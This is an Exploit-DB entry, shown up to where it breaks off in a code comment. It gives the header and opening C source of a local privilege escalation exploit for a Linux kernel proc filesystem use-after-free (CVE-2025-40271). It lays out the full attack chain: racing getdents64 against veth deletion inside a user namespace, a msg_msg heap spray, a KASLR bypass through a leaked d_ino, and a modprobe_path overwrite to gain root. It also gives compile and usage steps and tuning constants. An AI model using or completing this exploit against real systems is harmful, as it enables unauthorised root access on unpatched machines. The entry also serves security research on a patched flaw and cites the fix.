Exploit-DB #52550
Description: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2026-05-04
Author: aviralyash27

Exploit:
 * Exploit Title:  Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
 * CVE:            CVE-2025-40271
 * Date:           2026-03-19
 * Exploit Author: Aviral Srivastava
 * Vendor:         Linux Kernel (kernel.org)
 * Affected:       ~3.14+ through 6.18-rc5 (bug predates version tracking)
 *                 Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6
 * Fixed in:       commit 895b4c0c79b092d732544011c3cecaf7322c36a1
 * Tested on:      Debian Bookworm (kernel 6.1.115-1 x86_64)
 * Type:           Local Privilege Escalation
 * Platform:       Linux x86_64
 * CVSS:           ~7.8 (HIGH) — NVD assessment pending
 *
 * ┌──────────────────────────────────────────────────────────────────┐
 * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │
 * └──────────────────────────────────────────────────────────────────┘
 *
 * DESCRIPTION:
 *   The proc filesystem's remove_proc_entry() calls rb_erase() to
 *   remove a proc_dir_entry (pde) from the parent's red-black tree,
 *   but does NOT call RB_CLEAR_NODE() to mark the node as detached.
 *   This leaves stale rb-links in the freed entry, causing
 *   RB_EMPTY_NODE() to return false.
 *
 *   A concurrent proc_readdir_de() traversal via getdents64() can
 *   find the freed entry through pde_subdir_next() → rb_next(),
 *   then dereference its fields (name, namelen, mode, low_ino) —
 *   constituting a use-after-free on struct proc_dir_entry.
 *
 *   The race is triggered by calling getdents64() on a /proc
 *   subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently
 *   unregistering network devices, which removes proc entries.
 *   The freed proc_dir_entry (~192 bytes) resides in a standard
 *   kmalloc-192 or kmalloc-256 slab cache, making it sprayable with
 *   msg_msg via msgsnd().
 *
 * TECHNIQUE:
 *   Create user namespace for CAP_NET_ADMIN. Create veth pairs to
 *   populate /proc/self/net/dev_snmp6/. Race getdents64() against
 *   veth deletion. Spray freed kmalloc-192 slots with msg_msg.
 *   Detect UAF via anomalous d_ino values in getdents64 output.
 *   Extract kernel heap address from msg_msg header pointer leaked
 *   through the d_ino field. Use modprobe_path overwrite for LPE.
 *
 * RELIABILITY:
 *   ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.
 *   The pde->name dereference during readdir is the crash risk —
 *   mitigated by spraying the name slot with valid pointers.
 *   Kernel panic possible (~10% of failed attempts) if spray timing
 *   is wrong.
 *
 * MITIGATIONS:
 *   KASLR:          Bypassed via heap pointer leak through d_ino
 *   SMEP:           Not applicable (data-only attack)
 *   SMAP:           Not applicable (all data in kernel slab)
 *   kCFI:           Not applicable (modprobe_path overwrite)
 *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
 *
 * FIX:
 *   Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1
 *   URL:    https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().
 *
 * COMPILATION:
 *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
 *
 * USAGE:
 *   $ ./exploit
 *   [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF
 *   [+] Kernel 6.1.115-1 is VULNERABLE
 *   [*] Step 1: Setting up user/net namespace...
 *   [+] Namespace ready, CAP_NET_ADMIN obtained
 *   [*] Step 2: Creating veth pairs for proc entries...
 *   [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)
 *   [*] Step 3: Racing getdents vs device removal...
 *   [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd
 *   [*] Step 4: Kernel heap leak: 0xffff88801234abcd
 *   [*] Step 5: Computing modprobe_path address...
 *   [+] Got root!
 *
 * REFERENCES:
 *   [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271
 *   [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)
 *   [4] CVE-2023-32233 — nf_tables msg_msg spray reference
 *
 * DISCLAIMER:
 *   This exploit targets an ALREADY PATCHED vulnerability. It is provided
 *   for educational and authorized security research purposes only. The
 *   author is not responsible for misuse. Test only on systems you own.
 * ═══════════════════════════════════════════════════════════════════════
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <arpa/inet.h>

/* ─── Constants ─────────────────────────────────────────────────────── */

#define BANNER \
    "═══════════════════════════════════════════════════════════════\n" \
    "  CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \
    "  fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \
    "  Affected: ~all kernels through 6.18-rc5\n" \
    "  Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \
    "═══════════════════════════════════════════════════════════════\n"

#define NUM_VETH_PAIRS  32      /* number of veth pairs to create */
#define NUM_SPRAY_MSGS  256     /* msg_msg spray count */
#define SPRAY_BODY_SIZE 144     /* 48 header + 144 body = 192 → kmalloc-192 */
#define MAX_RACE_ATTEMPTS 30    /* max race iterations */
#define PROC_NET_DIR    "/proc/self/net/dev_snmp6"

/*
 * On x86_64, kernel heap pointers start with 0xffff8880...
 * Normal d_ino values are small integers (< 100